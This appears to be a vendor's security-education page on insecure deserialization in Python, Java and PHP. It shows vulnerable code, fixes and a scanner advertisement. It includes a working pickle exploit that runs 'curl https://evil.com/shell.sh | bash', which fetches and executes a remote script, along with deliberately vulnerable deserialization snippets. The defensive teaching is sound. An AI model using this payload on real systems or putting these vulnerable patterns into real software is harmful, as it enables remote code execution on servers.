Insecure Deserialization
Insecure deserialization allows attackers to tamper with serialized objects to achieve remote code execution, authentication bypass, or denial of service by exploiting language-specific deserialization gadget chains.
What Is Insecure Deserialization?
Deserialization is the process of converting serialized data (bytes or strings) back into objects. When applications deserialize untrusted user input, attackers can craft malicious serialized payloads that trigger unintended code execution during the deserialization process — known as "gadget chains."
How It Works
Python pickle:
# Vulnerable — deserializing user-supplied data with pickle
import pickle
import base64
@app.post("/load-session")
def load_session(data: str):
session = pickle.loads(base64.b64decode(data)) # RCE!
return sessionAttacker crafts a malicious pickle payload:
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ("curl https://evil.com/shell.sh | bash",))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()Sending this payload executes the shell command on the server during deserialization.
Java deserialization (Apache Commons Collections gadget):
// Vulnerable — ObjectInputStream with untrusted input
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // Triggers gadget chain if maliciousMagic bytes AC ED 00 05 in the request body indicate Java serialized data.
PHP unserialize:
// Vulnerable — $_COOKIE or $_POST used directly
$user = unserialize($_COOKIE['user_data']); // PHP object injectionReal-World Impact
- Remote Code Execution — the most direct path to full server compromise
- Authentication bypass — tamper with serialized user roles or permissions
- DoS — malformed objects crash the deserializer or exhaust memory
- Privilege escalation — change
is_admin=falsetois_admin=truein serialized session
How to Fix
Never deserialize untrusted input:
# Instead of pickle, use JSON for session data
import json
@app.post("/load-session")
def load_session(data: str):
session = json.loads(data) # JSON has no code execution capability
return sessionIf deserialization is required, use integrity checks:
import hmac, hashlib, pickle, base64
SECRET = os.environ["SESSION_SECRET"]
def serialize(obj: dict) -> str:
data = base64.b64encode(pickle.dumps(obj)).decode()
sig = hmac.new(SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
return f"{data}.{sig}"
def deserialize(token: str) -> dict:
data, sig = token.rsplit(".", 1)
expected = hmac.new(SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected):
raise ValueError("Invalid signature")
return pickle.loads(base64.b64decode(data))Java — use serialization filters (JEP 290) to allowlist permitted classes.
PHP — avoid unserialize() entirely; use JSON.
What VibeWShield Detects
VibeWShield checks for Content-Type: application/x-java-serialized-object headers and submits PHP serialized payloads and base64-encoded Java magic bytes to JSON endpoints. It also performs passive analysis of response patterns indicating deserialization errors.
Free security scan
Test your app for Insecure Deserialization
VibeWShield automatically checks for Insecure Deserialization and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.
Scan your app free